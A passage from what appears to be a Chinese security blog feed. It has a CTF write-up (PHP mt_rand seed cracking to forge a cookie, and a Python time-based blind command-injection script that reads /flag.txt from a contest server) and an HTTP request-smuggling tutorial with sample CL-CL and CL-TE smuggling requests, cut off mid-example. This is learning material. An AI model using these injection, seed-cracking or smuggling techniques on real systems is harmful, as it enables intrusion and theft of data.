<content type="html"><![CDATA[<p>这比赛打的想剁手,seed那题一直在猜怎么提交,最开始猜到了因为xff拼错了耽误了好久23333,以至于最后zblog没时间解了</p><h3 id="Misc-whitespace">Misc-whitespace</h3><p>题目给了一个文件,打开来是空白的,用<code>sublime</code>打开,全选发现是一些空格和换行符,盲猜是<code>whitespace编程</code>…(安恒六月赛时有过一个,但是当时那个是snow一把梭就好了)。</p><p><img src="/image/202008_DYCB/whitespace.png" alt=""></p><p>结果找工具找了半天(上次用的工具被删了2333),最后找到编译器直接跑一下就出来了(错失一血…)</p><p><img src="/image/202008_DYCB/whitespace1.png" alt=""></p><h3 id="Web-easyseed">Web-easyseed</h3><p>题目提示是一个开锁的游戏,并且说不是主人,于是需要找到<code>key</code>和<code>lock</code>,在<code>cookie</code>中可以找到,并且有提示需要从lock中推出key</p><p><img src="/image/202008_DYCB/seed1.png" alt=""></p><p>看不出来咋推,先扫目录,发现有一个<code>index.bak</code>文件,打开可以拿到<code>key</code>和<code>lock</code>的生成代码</p><p><img src="/image/202008_DYCB/seed2.png" alt=""></p><p>看到是随机生成的,并且使用了<code>mt_rand</code>,题目又叫做<code>easyseed</code>,于是想到php伪随机爆破,使用<code>php_mt_seed</code>就可以,先把给的lock转化为可以识别的字符:</p><figure class="highlight vim"><table><tr><td class="code"><pre><span class="line">str1=<span class="string">'abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ'</span></span><br><span class="line">str2=<span class="string">'vEUHaY'</span></span><br><span class="line">length = <span class="built_in">len</span>(str2) # <span class="number">10</span></span><br><span class="line"><span class="keyword">res</span>=<span class="string">''</span></span><br><span class="line"><span class="keyword">for</span> i in <span class="built_in">range</span>(<span class="built_in">len</span>(str2)):</span><br><span class="line"> <span class="keyword">for</span> <span class="keyword">j</span> in <span class="built_in">range</span>(<span class="built_in">len</span>(str1)):</span><br><span class="line"> <span class="keyword">if</span> str2[i] == str1[<span class="keyword">j</span>]:</span><br><span class="line"> <span class="keyword">res</span>+=str(<span class="keyword">j</span>)+<span class="string">' '</span>+str(<span class="keyword">j</span>)+<span class="string">' '</span>+<span class="string">'0'</span>+<span class="string">' '</span>+str(<span class="built_in">len</span>(str1)-<span class="number">1</span>)+<span class="string">' '</span></span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"><span class="keyword">print</span>(<span class="keyword">res</span>)</span><br></pre></td></tr></table></figure><p>拿到后放到<code>php_mt_seed</code>中直接跑出随机种子来</p><p><img src="/image/202008_DYCB/seed3.png" alt=""></p><p>然后用题目的生成逻辑重新生成一下<code>key</code>就行了,这里爆破出两个种子,用第一个就可以了</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="php"><span class="meta"><?php</span></span></span><br><span class="line"></span><br><span class="line"><span class="php">mt_srand(<span class="number">718225</span>);</span></span><br><span class="line"><span class="php"><span class="comment">// nRtqGR8mtd9ZOPyI</span></span></span><br><span class="line"></span><br><span class="line"><span class="php"><span class="function"><span class="keyword">function</span> <span class="title">random</span><span class="params">($length, $chars = <span class="string">'0123456789ABC'</span>)</span> </span>{</span></span><br><span class="line"><span class="php"></span></span><br><span class="line"><span class="php"> $hash = <span class="string">''</span>;</span></span><br><span class="line"><span class="php"> $max = strlen($chars) - <span class="number">1</span>;</span></span><br><span class="line"><span class="php"> <span class="keyword">for</span>($i = <span class="number">0</span>; $i < $length; $i++) {</span></span><br><span class="line"><span class="php"> $hash .= $chars[mt_rand(<span class="number">0</span>, $max)];</span></span><br><span class="line"><span class="php"> }</span></span><br><span class="line"><span class="php"> <span class="keyword">return</span> $hash;</span></span><br><span class="line"><span class="php">}</span></span><br><span class="line"><span class="php">$lock = random(<span class="number">6</span>, <span class="string">'abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ'</span>);</span></span><br><span class="line"><span class="php">$key = random(<span class="number">16</span>, <span class="string">'1294567890abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ'</span>);</span></span><br><span class="line"><span class="php"><span class="keyword">echo</span> $lock;</span></span><br><span class="line"><span class="php"><span class="keyword">echo</span> <span class="string">"\n"</span>;</span></span><br><span class="line"><span class="php"><span class="keyword">echo</span> $key;</span></span><br><span class="line"><span class="php"><span class="meta">?></span></span></span><br></pre></td></tr></table></figure><p>拿到<code>key</code>值之后就是坑了,一直提交都失败,后面想到是不是需要加<code>xff</code>头,结果因为自己拼错了…耽误了好久…后面回头一看才发现,这里直接把生成的钥匙放到<code>cookie</code>里,然后加上<code>xff</code>头就可以拿到flag了。</p><p><img src="/image/202008_DYCB/seed4.png" alt=""></p><h3 id="web-easyweb">web-easyweb</h3><p>最开始有点懵,什么都没给,最后再<code>response</code>里面发现了一个提示<code>Post: cmd</code></p><p><img src="/image/202008_DYCB/web1.jpg" alt=""></p><p>于是猜测是否为一句话,但是直接用蚁剑或菜刀连都失败了,想到是否是无回显的,于是尝试使用<code>sleep</code>,发现有明显延迟,那就应该是<code>bash时间盲注</code>了,直接写脚本跑就行。</p><figure class="highlight routeros"><table><tr><td class="code"><pre><span class="line"><span class="comment">#encoding:utf-8</span></span><br><span class="line">import requests,time</span><br><span class="line"></span><br><span class="line"><span class="attribute">url</span>=<span class="string">'http://119.3.37.185'</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"><span class="attribute">pos</span>=1</span><br><span class="line"><span class="attribute">flag</span>=<span class="string">''</span></span><br><span class="line"><span class="attribute">ses</span>=requests.session()</span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(32,127):</span><br><span class="line"><span class="attribute">t1</span>=time.time()</span><br><span class="line">try:</span><br><span class="line"></span><br><span class="line"><span class="attribute">r</span>=ses.post(url=url,data={<span class="string">'cmd'</span>:<span class="string">'if [ $(tail -n 1 /flag.txt|cut -c %s) = %s ]; then sleep 4; fi'</span>%(str(pos),chr(i))},</span><br><span class="line"><span class="attribute">timeout</span>=7)</span><br><span class="line">except Exception as e:</span><br><span class="line"><span class="builtin-name">print</span>(e)</span><br><span class="line"><span class="attribute">t2</span>=time.time()</span><br><span class="line"><span class="keyword">if</span> t2-t1>=3.5:</span><br><span class="line">pos+=1</span><br><span class="line">flag+=chr(i)</span><br><span class="line"><span class="builtin-name">print</span>(flag)</span><br></pre></td></tr></table></figure><p>这里需要猜一下<code>flag</code>路径,最开始猜测是<code>/flag</code>,结果不对,后面想利用盲注列目录,写脚本的时候想到<code>/flag.txt</code>,结果还真是…于是flag就出来了…</p><p><img src="/image/202008_DYCB/web2.png" alt=""></p>]]></content>
<summary type="html">
这比赛打的想剁手,seed那题一直在猜怎么提交,最开始猜到了因为xff拼错了耽误了好久23333,以至于最后zblog没时间解了
</summary>
<category term="CTF_writeup" scheme="http://www.xiaozblog.top/categories/CTF-writeup/"/>
<category term="writeup" scheme="http://www.xiaozblog.top/tags/writeup/"/>
<category term="CTF" scheme="http://www.xiaozblog.top/tags/CTF/"/>
</entry>
<entry>
<title>HTTP_Smuggling-请求走私</title>
<link href="http://www.xiaozblog.top/2020/05/26/HTTP-Smuggling-%E8%AF%B7%E6%B1%82%E8%B5%B0%E7%A7%81/"/>
<id>http://www.xiaozblog.top/2020/05/26/HTTP-Smuggling-%E8%AF%B7%E6%B1%82%E8%B5%B0%E7%A7%81/</id>
<published>2020-05-26T05:32:15.000Z</published>
<updated>2022-12-26T15:28:47.535Z</updated>
<content type="html"><![CDATA[<p>前几天打的<code>defcon ctf qual</code>里有一题<code>uploooadit</code>,里面涉及到<code>HTTP Smuggling | HTTP Desync Attacks</code>,也就是<code>HTTP走私攻击</code>,是一个很有趣的攻击方式了,而这个其实也和自己正在弄的协议一致性研究有所关联,于是参考了些论文和一些师傅的博客,回顾一下,并做个记录。</p><h2 id="前置知识">前置知识</h2><h3 id="HTTP-1-1">HTTP/1.1</h3><h4 id="Keep-alive">Keep alive</h4><p><code>HTTP</code>持久连接(<code>HTTP persistent connection</code>,也称作 <code>HTTP keep-alive</code> 或 <code>HTTP connection reuse</code>,翻译过来可以是保持连接或者连接复用)是使用同一个 <code>TCP</code> 连接来发送和接收多个 <code>HTTP</code> 请求应答,而不是为每一个新的请求应答打开新的连接的方式。</p><p><code>HTTP</code>协议采用<code>请求 - 应答</code>模式,当使用普通模式,即非<code>KeepAlive</code> 模式时,每个请求应答客户和服务器都要新建一个连接,完成 之后立即断开连接(<code>HTTP</code> 协议为无连接的协议),每次请求都会经过三次握手四次挥手过程,效率较低;当使用<code>Keep-Alive</code>模式时,客户端到服务器端的连接不会断开,当出现对服务器的后继请求时,客户端就会复用已建立的连接。</p><p><img src="/image/202005_smuggling/1.png" alt=""></p><p><code>Http1.1</code> 以后,<code>Keep-Alive</code>已经默认支持并开启。客户端(包括但不限于浏览器)发送请求时会在 <code>Header</code> 中增加一个请求头<code>Connection: Keep-Alive</code>,当服务器收到附带有<code>Connection: Keep-Alive</code>的请求时,也会在响应头中添加 <code>Keep-Alive</code>。这样一来,客户端和服务器之间的 <code>HTTP</code> 连接就会被保持,不会断开,当客户端发送另外一个请求时,就可以复用已建立的连接。</p><h4 id="Pipline">Pipline</h4><p><code>HTTP Pipine(管线化)</code>是将多个<code>HTTP</code>请求批量提交的技术,并且在发送的过程中不需要等待服务器的回应,而服务器接收后,会按照先进先出的方式将响应报文与请求报文严格对应。</p><p><code>pipline</code>需通过上述所说的<code>keep alive</code>模式来完成。这个模式仅<code>HTTP/1.1</code>支持(<code>HTTP/1.0</code>不支持),并且只有GET和HEAD要求可以进行管线化,而POST则有所限制。目前多数浏览器默认不启用该模式,但是服务器一般是支持的。</p><p>在使用<code>pipline</code>后的请求模式如下图所示:</p><p><img src="/image/202005_smuggling/2.png" alt=""></p><p>但是这里有一个问题需要讨论,在使用<code>pipline</code>时,如果服务器端对于多个请求的理解出现问题,是否可能会出现将前一个请求的内容解析为后一个请求的情况?后续会展开讨论,这个也是引发<code>HTTP Smuggling</code>的主要原因。</p><h4 id="Content-Length">Content-Length</h4><p><code>Content-Length</code>, 用于描述<code>HTTP</code>消息实体的传输长度(<code>the transfer-length of the message-body</code>), 用十进制数字表示的八位字节的数目,这里需要注意消息实体传输长度与实际消息实体长度的区别:</p><ul><li>消息实体长度:即<code>Entity-length</code>,压缩之前的<code>message-body</code>的长度</li><li>消息实体的传输长度:<code>Content-length</code>,压缩后的<code>message-body</code>的长度。</li></ul><p><code>Content-Length</code>表示实体内容传输长度,客户端(服务器)可以根据这个值来判断数据是否接收完成。但是如果消息中没有<code>Conent-Length</code>,那该如何来判断?客户端如何来判断数据是否接收完成呢?</p><ul><li><p>静态页面或者图片:当客户端向服务器请求一个静态页面或者一张图片时,服务器可以很清楚的知道内容大小,然后通过<code>Content-length</code>消息首部字段告诉客户端 需要接收多少数据。</p></li><li><p>动态页面: 如果是动态页面等时,服务器是不可能预先知道内容大小,这时就可以使用<code>Transfer-Encoding:chunk</code>模式来传输 数据了。即如果要一边产生数据,一边发给客户端,服务器就需要使用<code>Transfer-Encoding: chunked</code>这样的方式来代替<code>Content-Length</code>。</p></li></ul><p>这里问题又来了,这两种方式都可以判断数据是否接收完成,我们知道很多<code>Web</code>服务是包含前置、后端服务器的(比如代理服务器),如果<code>用户-前置服务器</code>和<code>前置服务器-后端</code>的处理方式不同,是否会引发什么问题?</p><h4 id="Transfer-Encoding">Transfer-Encoding</h4><p>分块传输编码<code>(Chunked transfer encoding)</code>是<code>HTTP</code>中的一种数据传输机制,允许<code>HTTP</code>由网页服务器发送给客户端的数据可以分成多个部分。分块传输编码只在<code>HTTP/1.1</code>中提供。</p><p>通常,<code>HTTP Response</code>中发送的数据是整个发送的,<code>Content-Length</code>消息头字段表示数据的长度。数据的长度很重要,因为客户端需要知道哪里是应答消息的结束,以及后续应答消息的开始。然而,使用分块传输编码,数据分解成一系列数据块,并以一个或多个块发送,这样服务器可以发送数据而不需要预先知道发送内容的总大小。</p><p>如果一个<code>HTTP消息</code>的<code>Transfer-Encoding</code>值为<code>chunked</code>,那么,消息体由数量未定的块组成,并以最后一个大小为0的块为结束。</p><p>其中,每一个非空的块都以该块包含数据的字节数(字节数以十六进制表示)开始,跟随一个<code>CRLF</code>,然后是数据本身,最后块<code>CRLF</code>结束。并且在一些实现中,块大小和CRLF之间填充有白空格<code>(0×20)</code>。</p><p>最后一块不再包含任何数据,消息最后以CRLF结尾。在这一个块中的内容是称为<code>footer</code>的内容,是一些附加的<code>Header</code>信息:</p><figure class="highlight livecodeserver"><table><tr><td class="code"><pre><span class="line">// Chunk编码的格式如下:</span><br><span class="line"></span><br><span class="line">Chunked-Body = *chunk </span><br><span class="line">“<span class="number">0</span>″ <span class="literal">CRLF</span></span><br><span class="line">footer</span><br><span class="line"><span class="literal">CRLF</span></span><br><span class="line">chunk = chunk-size [ chunk-ext ] <span class="literal">CRLF</span></span><br><span class="line">chunk-data <span class="literal">CRLF</span></span><br><span class="line"></span><br><span class="line">hex-no-<span class="literal">zero</span> = <HEX excluding “<span class="number">0</span>″></span><br><span class="line"></span><br><span class="line">chunk-size = hex-no-<span class="literal">zero</span> *HEX</span><br><span class="line">chunk-ext = *( “;” chunk-ext-name [ <span class="string">"="</span> chunk-ext-<span class="built_in">value</span> ] )</span><br><span class="line">chunk-ext-name = <span class="keyword">token</span></span><br><span class="line">chunk-ext-val = <span class="keyword">token</span> | quoted-<span class="keyword">string</span></span><br><span class="line">chunk-data = chunk-size(OCTET)</span><br><span class="line"></span><br><span class="line">footer = *entity-header</span><br><span class="line"></span><br><span class="line">// 即Chunk编码由四部分组成: </span><br><span class="line">// <span class="number">1.</span> <span class="number">0</span>至多个chunk块</span><br><span class="line">// <span class="number">2.</span> <span class="string">'0'</span> <span class="literal">CRLF</span></span><br><span class="line">// <span class="number">3.</span> footer</span><br><span class="line">// <span class="number">4.</span> <span class="literal">CRLF</span></span><br><span class="line">// 而每个chunk块由:chunk-size、chunk-ext(可选)、<span class="literal">CRLF</span>、chunk-data、<span class="literal">CRLF</span>组成。</span><br></pre></td></tr></table></figure><h3 id="反向代理">反向代理</h3><p>我们知道,一个简单的<code>Web</code>服务结构,由客户端(浏览器)、前端页面、后端处理程序组成,而其中前端页面的存储及后端处理程序就是位于<code>Server</code>端的服务器中,用户需要使用这个服务时,由浏览器请求前端页面,渲染之后操作将数据传入到后端进行处理。</p><p>但是这样简单的结构容易出现问题,如果请求数量过多,服务器的负担过大,则会导致用户无法以正常的浏览速度和浏览效果来使用这一<code>Web</code>服务,于是便需要加入新的结构来解决这一问题,最简单的方法就是使用一个带有缓存功能的反向代理服务器,用户请求资源时,可以如果反向代理服务器中有的话,可以直接从反向代理服务器的缓存中获得,从而减少了对源站的请求和资源的消耗。下面对其具体进行介绍:</p><p>反向代理<code>(Reverse Proxy)</code>方式是指以代理服务器来接受<code>Internet</code>上的连接请求,然后将请求转发给内部网络上的服务器,并将从服务器上得到的结果返回给<code>Internet</code>上请求连接的客户端,此时代理服务器对外就表现为一个服务器。(注:以下称反向代理服务器为代理服务器)</p><p>代理服务器其实不光是可以提供上述所说的缓存功能,其也可以作为源站的一个保护措施,用以保护真实的<code>server</code>端服务器,这种代理服务器和用于负载均衡的代理服务器区别就在于是否严格在防火墙内运行,以及其支持的安全机制可能有所不同。</p><p>下面为代理服务器可以起到的部分作用或功能:</p><ul><li>可以起到保护网站安全的作用,因为任何来自<code>Internet</code>的请求都必须先经过代理服务器。</li><li>通过缓存静态资源,加速<code>Web</code>请求。</li><li>实现负载均衡。</li></ul><p>对于负载均衡功能,<code>Web</code>服务提供者可以在一个组织内使用多个代理服务器来平衡各<code>Web</code>服务器间的网络负载。在此模型中,可以利用代理服务器的高速缓存特性,创建一个用于负载平衡的服务器池。此时,如果<code>Web</code>服务器每天都会接收大量的请求,则可以使用代理服务器分担<code>Web</code>服务器的负载并提高网络访问效率。</p><p>对于客户机发往真正服务器的请求,代理服务器起着中间调停者的作用。代理服务器会将所请求的文档存入高速缓存。如果有不止一个代理服务器,<code>DNS</code>可以采用<code>循环复用法</code>选择其<code>IP</code>地址,随机地为请求选择路由。客户机每次都使用同一个<code>URL</code>,但请求所采取的路由每次都可能经过不同的代理服务器。</p><p>可以使用多个代理服务器来处理对一个高用量内容服务器的请求,这样做的好处是内容服务器可以处理更高的负载,并且比其独自工作时更有效率。在初始启动期间,代理服务器首次从内容服务器检索文档,此后,对内容服务器的请求数会大大下降。</p><p>只有<code>CGI</code>请求和偶发的新请求必须一路直达内容服务器。其余的请求可以由代理服务器进行处理。下面对此进行举例说明:</p><p>假定对服务器的请求中有<code>90%</code>都不是<code>CGI</code>请求(这表示它们可以进行高速缓存),而且内容服务器每天都会被命中<code>2百万</code>次。在此情况下,如果连接三个反向代理服务器,且每个代理服务器每天处理<code>2百万</code>次命中,则每天将能够处理大约<code>6百万</code>次命中。请求中有<code>10%</code>达到内容服务器,合计约为每个代理服务器每天<code>200,000</code>次命中,即总数仅为<code>600,000</code>,从而效率显著提高。命中次数可从大约<code>2百万</code>次增加到<code>6百万</code>次,而内容服务器的负载却相应地从<code>2百万</code>次减少到<code>600,000</code>次。实际结果依具体情况而定。</p><p><img src="/image/202005_smuggling/3.png" alt=""></p><h3 id="CDN">CDN</h3><p>内容分发网络<code>(Content Delivery Network)</code>,简称<code>CDN</code>,其目的是使用户可就近取得所需内容,解决<code>Internet</code>网络拥挤的状况,提高用户访问网站的响应速度。</p><p>其基本思路是尽可能避开互联网上有可能影响数据传输速度和稳定性的瓶颈和环节,使内容传输的更快、更稳定。通过在网络各处放置节点服务器所构成的在现有的互联网基础之上的一层智能虚拟网络,<code>CDN</code>系统能够实时地根据网络流量和各节点的连接、负载状况以及到用户的距离和响应时间等综合信息将用户的请求重新导向离用户最近的服务节点上。</p><p>个人理解,<code>CDN</code>更像是一个分布式的有着大量负载均衡反向代理服务器组成的网络,用户请求资源时,可以直接就近选择一个节点,此时用户客户端-节点-源站实则就是构成了上述所说的用户-反向代理服务器-源站的结构。</p><p>这里引用<code>@Esacape Plan</code>在<a href="https://juejin.im/post/6844904190913822727" target="_blank" rel="noopener">博客</a>中所描述的用户A、B通过<code>CDN</code>访问指定资源的流程:</p><p>用户 A 第一次访问流程如下图所示:</p><p><img src="/image/202005_smuggling/4.png" alt=""></p><ul><li>第 1 步访问的是加速域名,而不是源站域名。</li><li>第 3 步返回<code>CNAME</code>域名。</li><li>第 5 步返回<code>CNAME</code>域名对应的<code>IP</code>地址,指向<code>CDN</code>边缘层节点。</li><li>第 6 步请求的<code>URL</code>(或者说<code>Referer</code>)仍为<code>js.tt.com/idx.html</code>。</li><li>第 7 步请求中心层节点时,会带上第 6 步的<code>URL</code>作为参数。</li><li>第 8 步通过查询配置数据得到源站域名,进而向源站发起请求。这里的业务服务器即为<code>CDN</code>的源站。简单起见,省略了从<code>DNS</code>服务器查询 A 记录的过程。</li><li>在整个过程中,URL 的域名会变化,但是<code>URL</code>的路径不会变化。</li></ul><p>用户 A 第二次访问流程如下图:</p><p><img src="/image/202005_smuggling/5.png" alt=""></p><ul><li>由于本地<code>DNS</code>客户端拥有了加速域名的解析缓存,就不需要再查询<code>DNS</code>服务器了。</li><li>由于<code>CDN</code>边缘层节点有了对应资源的缓存,就不需要再向上请求资源了。</li></ul><p>用户 B 第一次访问流程如图所示:</p><p><img src="/image/202005_smuggling/6.png" alt=""></p><ul><li>由于用户 A 和用户 B 地域相差比较远,使用不同的边缘层节点,所以边缘层节点没有对应资源的缓存,需要向中心层节点请求资源。</li><li>中心层节点拥有该资源的缓存,所以就不需要回源了。</li></ul><p>从上述访问过程可以看出,在使用<code>CDN</code>时,用户所发送的资源请求如果在节点中未命中,则<code>CDN</code>节点服务器则会向后端源服务器请求资源,即这里可以理解为<code>CDN</code>节点接收了客户端的请求,处理后转发给了后端源服务器,相同的,反向代理服务器也是如此,那么这里就出现了两个服务器对于客户端请求的两次理解了,那么如果这两次理解存在差异,是否会导致什么问题?</p><p>结合前面所说的<code>Pipline/Content-Length/Transfer-Encoding</code>,是否会引起对请求的理解不一致,从而导致安全问题?这其实便是<code>HTTP Smuggling</code>问题的根源所在。</p><h3 id="HTTP-Smuggling-原因">HTTP Smuggling 原因</h3><p>正如上面所讨论的,对于请求理解的不一致和差异,会导致安全问题,那么这种安全问题会导致什么后果呢?这里引用 @mengchen 师傅对<code>HTTP Smuggling</code>原因的描述:</p><blockquote><p>当我们向代理服务器发送一个比较模糊的HTTP请求时,由于两者服务器的实现方式不同,可能代理服务器认为这是一个HTTP请求,然后将其转发给了后端的源站服务器,但源站服务器经过解析处理后,只认为其中的一部分为正常请求,剩下的那一部分,就算是走私的请求,当该部分对正常用户的请求造成了影响之后,就实现了HTTP走私攻击。</p></blockquote><p>看下面这个图可能会理解的清晰一些,在使用<code>Pipline</code>时,如果前置服务器和后端服务器对请求的解析处理不一致,从而导致对请求的划分出现问题,则会导致将一个请求一部分解析为正常请求,剩下一部分可能会被划分到其他请求队列中,就成为了走私的请求:</p><p><img src="/image/202005_smuggling/7.png" alt=""></p><p>而由上图可以看出,如果可以使得前置服务器和后端服务器对请求长度的理解产生偏差,则会导致走私,那么如何使得对长度理解产生偏差呢?这里就回到了前面所提到的<code>Content-Length</code>和<code>Transfer-Encoding</code>(后文中以<code>CL</code>代替<code>Content-length</code>,以<code>TE</code>代替<code>Transfer-Encoding</code>),这两种方式都可以用来表示<code>HTTP</code>请求内容的长度。</p><p>那么就可以很容易想到,如果这两者同时存在,而前置服务器以<code>CL</code>来分辨长度,后端服务器以<code>TE</code>来划分,则就能引发两个服务器对请求长度理解的差异了。或者干脆这两种只有一种存在,但是存在两个,并且前后端对其理解有歧义,可以通过精心构造从而产生混淆,引发长度理解差异。</p><p>事实是,为了避免歧义,在<code>rfc2616#section-4.4</code>中规定当这两个同时出现时,Content-Length 将被忽略:</p><blockquote><p>3.If a Content-Length header field (section 14.13) is present, its decimal value in OCTETs represents both the entity-length and the transfer-length. The Content-Length header field MUST NOT be sent if these two lengths are different (i.e., if a Transfer-Encoding header field is present). If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.</p></blockquote><p>但是规范只是规范,而不是必须遵守的铁律,因此并不是所有的<code>Web</code>服务器(中间件)都严格遵循规范来进行设计,部分实现者在实现时因为各种原因有了自己的一些设计,从而导致了<code>HTTP Smuggling</code>的出现,关于这一问题的分类, @mengchen 师傅归纳得非常全面,主要分为以下几种(注:后文出现的<code>CL-TE</code>这种形式,意为两个服务器的优先处理,如<code>CL-TE</code>表示前置服务器优先处理<code>CL</code>,后置服务器优先处理<code>TE</code>):</p><ul><li>CL不为0的GET请求</li><li>CL-CL</li><li>CL-TE</li><li>TE-CL</li><li>TE-TE</li></ul><h2 id="原因分类">原因分类</h2><p>这里对上述五种产生请求走私的原因进行分析,并给出一些样例,如果感兴趣的可以自己<a href="https://portswigger.net/web-security/request-smuggling/exploiting" target="_blank" rel="noopener">实验理解</a>一下。</p><h3 id="CL不为0的GET请求">CL不为0的GET请求</h3><p>正如我们熟知的,<code>GET</code>请求一般是没有请求体的,也即<code>CL</code>为 0 , 但是有的服务器在设计实现时,是可能运行存在请求体的,所以如果前置服务器和后端服务器存在这种对请求体的支持不一致,也是可能导致请求走私的。这一点不光是<code>GET</code>请求,实际上对于所有不携带请求体的<code>HTTP</code>请求都是存在这样的问题的。</p><p>比如如果代理服务器支持<code>GET</code>请求带有请求体,后端服务器不支持请求体,则如果客户端给代理服务器发送时,将另一个请求附在第一个请求的请求体中,代理服务器会识别成一个请求,但是后端服务则因为不支持请求体,可能会将其识别为两个请求:</p><figure class="highlight routeros"><table><tr><td class="code"><pre><span class="line"><span class="builtin-name">GET</span> / HTTP/1.1\r\n</span><br><span class="line">Host: example.com\r\n</span><br><span class="line">Content-Length: 44\r\n</span><br><span class="line"></span><br><span class="line"><span class="builtin-name">GET</span> /<span class="built_in"> secret </span>HTTP/1.1\r\n</span><br><span class="line">Host: example.com\r\n</span><br><span class="line">\r\n</span><br></pre></td></tr></table></figure><p>这里前置服务器支持请求体,将其解析为一个请求,后端服务器因为不支持,将其解析为两个请求:</p><figure class="highlight taggerscript"><table><tr><td class="code"><pre><span class="line">// 第一个</span><br><span class="line">GET / HTTP/1.1<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line">Host: example.com<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line">Content-Length: 44<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line"></span><br><span class="line">// 第二个</span><br><span class="line">GET / secret HTTP/1.1<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line">Host: example.com<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line"><span class="symbol">\r</span><span class="symbol">\n</span></span><br></pre></td></tr></table></figure><h3 id="CL-CL">CL-CL</h3><p>构造一个包含两个<code>Content-Length</code>的包,根据规范(<a href="https://tools.ietf.org/html/rfc7230#section-3.3.3" target="_blank" rel="noopener">RFC7230 3.3.3节</a>)此时应当返回<code>400</code>错误,但如果没有正确遵守规范,且服务器按不同的<code>CL</code>进行处理,这可能会导致HTTP走私。当然,这种场景其实并不多见。</p><p>假设有这样一个请求报文,并且前置服务器解析第一个<code>CL</code>,后端服务器解析第二个:</p><figure class="highlight taggerscript"><table><tr><td class="code"><pre><span class="line">POST / HTTP/1.1<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line">Host: example.com<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line">Content-Length: 10<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line">Content-Length: 9<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line">12345<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line">Get</span><br></pre></td></tr></table></figure><p>那么在前置服务器中,对这个请求的理解是正常的,于将上述数据包转发给后端服务器。而后端服务器根据第二个<code>CL</code>处理,于是读取到的报文如下:</p><figure class="highlight taggerscript"><table><tr><td class="code"><pre><span class="line">POST / HTTP/1.1<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line">Host: example.com<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line">Content-Length: 10<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line">Content-Length: 9<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line">12345<span class="symbol">\r</span><span class="symbol">\n</span></span><br></pre></td></tr></table></figure><p>此时,后端服务器认为自己已经读取完,并且也生成了对应的响应发送,但是可以看到由前置服务器带来的字符中还剩下一个<code>Get</code>,那么这个字符就有可能作为下一个请求的一部分,假设现在有一个正常的用户发起了一个请求:</p><figure class="highlight taggerscript"><table><tr><td class="code"><pre><span class="line">GET /index.html HTTP/1.1<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line">Host: example.com<span class="symbol">\r</span><span class="symbol">\n</span></span><br></pre></td></tr></table></figure><p>那么后端服务器会将前一个请求中剩下的<code>Get</code>作为后一个请求的一部分,也就是变成了这样:</p><figure class="highlight taggerscript"><table><tr><td class="code"><pre><span class="line">GetGET /index.html HTTP/1.1<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line">Host: example.com<span class="symbol">\r</span><span class="symbol">\n</span></span><br></pre></td></tr></table></figure><p>可以看到,此时已经对正常用户的请求产生了影响了,此时后端处理这个用户的请求时就会发现,这个请求中使用的<code>HTTP Method</code>为<code>GetGET</code>,很显然,会给客户端返回一个<code>request method not found</code>。</p><p>这里这种场景的话,只是导致请求失败,那么如果能够结合<code>CRLF</code>的话,可能就能进行危害更大的攻击了。</p><h3 id="CL-TE">CL-TE</h3><p>在这种情况中,前置服务器认为<code>Content-Length</code>优先级更高(或者根本就不支持<code>Transfer-Encoding</code>) ,后端认为<code>Transfer-Encoding</code>优先级更高。因此在发送同时带有<code>CL</code>和<code>TE</code>的请求时,可能会导致请求走私。而这种情况,其实也就是在前几天的<code>defcon ctf qual</code>中出现的。</p><p>比如下面这个例子:</p><figure class="highlight taggerscript"><table><tr><td class="code"><pre><span class="line">POST / HTTP/1.1<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line">Host: example.com<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line">Content-Length: 8<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line">Transfer-Encoding: chunked<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line"><span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line">0<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line"><span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line">Get</span><br></pre></td></tr></table></figure><p>在前置服务器处理时,使用<code>CL</code>进行处理,即得到一个完整的请求体:</p><figure class="highlight taggerscript"><table><tr><td class="code"><pre><span class="line">0<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line"><span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line">Get</span><br></pre></td></tr></table></figure><p>这时是正常的,但是转发给后端服务器时,后端服务器根据<code>TE</code>来进行处理,则当其读取到<code>\r\n\r\n</code>时,会认为当前请求体已经读取完成,即读取到的请求体如下:</p><figure class="highlight taggerscript"><table><tr><td class="code"><pre><span class="line">0<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line"><span class="symbol">\r</span><span class="symbol">\n</span></span><br></pre></td></tr></table></figure><p>和<code>CL-CL</code>中一样,此时后端服务器处理完成后完成响应,而剩下的<code>Get</code>将会被走私到下一个请求中,下一个请求就变成了这样:</p><figure class="highlight taggerscript"><table><tr><td class="code"><pre><span class="line">GetGET /index.html HTTP/1.1<span class="symbol">\r</span><span 